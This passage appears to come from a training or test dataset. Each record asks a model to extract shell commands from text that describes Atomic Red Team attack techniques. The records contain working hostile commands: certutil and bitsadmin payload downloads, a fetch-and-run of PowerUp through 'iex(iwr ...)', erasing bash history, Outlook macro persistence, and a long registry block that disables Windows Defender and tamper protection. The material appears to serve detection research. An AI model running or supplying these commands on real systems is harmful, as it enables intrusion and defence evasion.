    "output": "{\"command_list\": [\"net view \\\\\\\\#{computer_name}\\n\", \"get-smbshare\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Here's how to fetch a remote file using certutil's verifyctl feature, which also accepts /verifyctl: $datePath = \"certutil-$(Get-Date -format yyyy_MM_dd)\"\nNew-Item -Path $datePath -ItemType Directory\nSet-Location $datePath\ncertutil -verifyctl -split -f #{remote_file}\nGet-ChildItem | Where-Object {$_.Name -notlike \"*.txt\"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }; This test demonstrates how Qbot malware downloads payloads by executing a BITS job with the command: C:\\Windows\\System32\\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}",
    "output": "{\"command_list\": [\"$datePath = \\\"certutil-$(Get-Date -format yyyy_MM_dd)\\\"\\nNew-Item -Path $datePath -ItemType Directory\\nSet-Location $datePath\\ncertutil -verifyctl -split -f #{remote_file}\\nGet-ChildItem | Where-Object {$_.Name -notlike \\\"*.txt\\\"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }\\n\", \"C:\\\\Windows\\\\System32\\\\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    As described in MDSEC's research, Outlook macros can be weaponized for persistence by adjusting registry settings and placing a specific file. The required configuration can be achieved with this command sequence: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Security\\Level\" /t REG_DWORD /d 1 /f\nmkdir  %APPDATA%\\Microsoft\\Outlook\\ >nul 2>&1\necho \"Atomic Red Team TEST\" > %APPDATA%\\Microsoft\\Outlook\\VbaProject.OTM; You can copy data to the clipboard with this command, which also creates a temporary file:\ndir | clip\necho \"T1115\" > %temp%\\T1115.txt\nclip < %temp%\\T1115.txt\n",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Outlook\\\\Security\\\\Level\\\" /t REG_DWORD /d 1 /f\\nmkdir  %APPDATA%\\\\Microsoft\\\\Outlook\\\\ >nul 2>&1\\necho \\\"Atomic Red Team TEST\\\" > %APPDATA%\\\\Microsoft\\\\Outlook\\\\VbaProject.OTM\\n\", \"dir | clip\\necho \\\"T1115\\\" > %temp%\\\\T1115.txt\\nclip < %temp%\\\\T1115.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To clear the bash history, use the following command: rm #{history_path}; The bash history can be cleared with the command: echo \"\" > #{history_path}\n",
    "output": "{\"command_list\": [\"rm #{history_path}\\n\", \"echo \\\"\\\" > #{history_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique involves creating a fake parent directory and running a process from it with these commands:\nmkdir $HOME/...\ncp $(which sh) $HOME/...\n$HOME/.../sh -c \"echo #{test_message}\"\n; Execute this command to create and run an executable designed to appear legitimate:\nAdd-Type -TypeDefinition @'\npublic class Test {\n    public static void Main(string[] args) {\n        System.Console.WriteLine(\"tweet, tweet\");\n    }\n}\n'@ -OutputAssembly \"#{executable_filepath}\"\n\nStart-Process -FilePath \"#{executable_filepath}\"",
    "output": "{\"command_list\": [\"mkdir $HOME/...\\ncp $(which sh) $HOME/...\\n$HOME/.../sh -c \\\"echo #{test_message}\\\"\\n\", \"Add-Type -TypeDefinition @'\\npublic class Test {\\n    public static void Main(string[] args) {\\n        System.Console.WriteLine(\\\"tweet, tweet\\\");\\n    }\\n}\\n'@ -OutputAssembly \\\"#{executable_filepath}\\\"\\n\\nStart-Process -FilePath \\\"#{executable_filepath}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary with root privileges can disable real-time protection by executing the following command: sudo mdatp config real-time-protection --value disabled. Note that this assumes Defender is not in passive mode and real-time protection is enabled.; The registry modifications needed to disable Windows Defender can be applied with this comprehensive command block: reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIntrusionPreventionSystem\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRoutinelyTakingAction\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScriptScanning\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v \"DisableEnhancedNotifications\" /t REG_DWORD /d \"1\" /f >NUL 2>nul \nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" /v \"DisallowExploitProtectionOverride\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\"  /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\software\\microsoft\\windows defender\\spynet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\" /v \"PUAProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\n",
    "output": "{\"command_list\": [\"sudo mdatp config real-time-protection --value disabled\\n\", \"reg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" /v \\\"DisableAntiSpyware\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" /v \\\"DisableAntiVirus\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableBehaviorMonitoring\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableIntrusionPreventionSystem\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableIOAVProtection\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableOnAccessProtection\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableRealtimeMonitoring\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableRoutinelyTakingAction\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableScanOnRealtimeEnable\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableScriptScanning\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting\\\" /v \\\"DisableEnhancedNotifications\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul \\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\SpyNet\\\" /v \\\"DisableBlockAtFirstSeen\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\SpyNet\\\" /v \\\"SpynetReporting\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\MpEngine\\\" /v \\\"MpEnablePus\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender Security Center\\\\App and Browser protection\\\" /v \\\"DisallowExploitProtectionOverride\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Features\\\" /v \\\"TamperProtection\\\"  /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\software\\\\microsoft\\\\windows defender\\\\spynet\\\" /v \\\"SubmitSamplesConsent\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows Defender\\\" /v \\\"PUAProtection\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    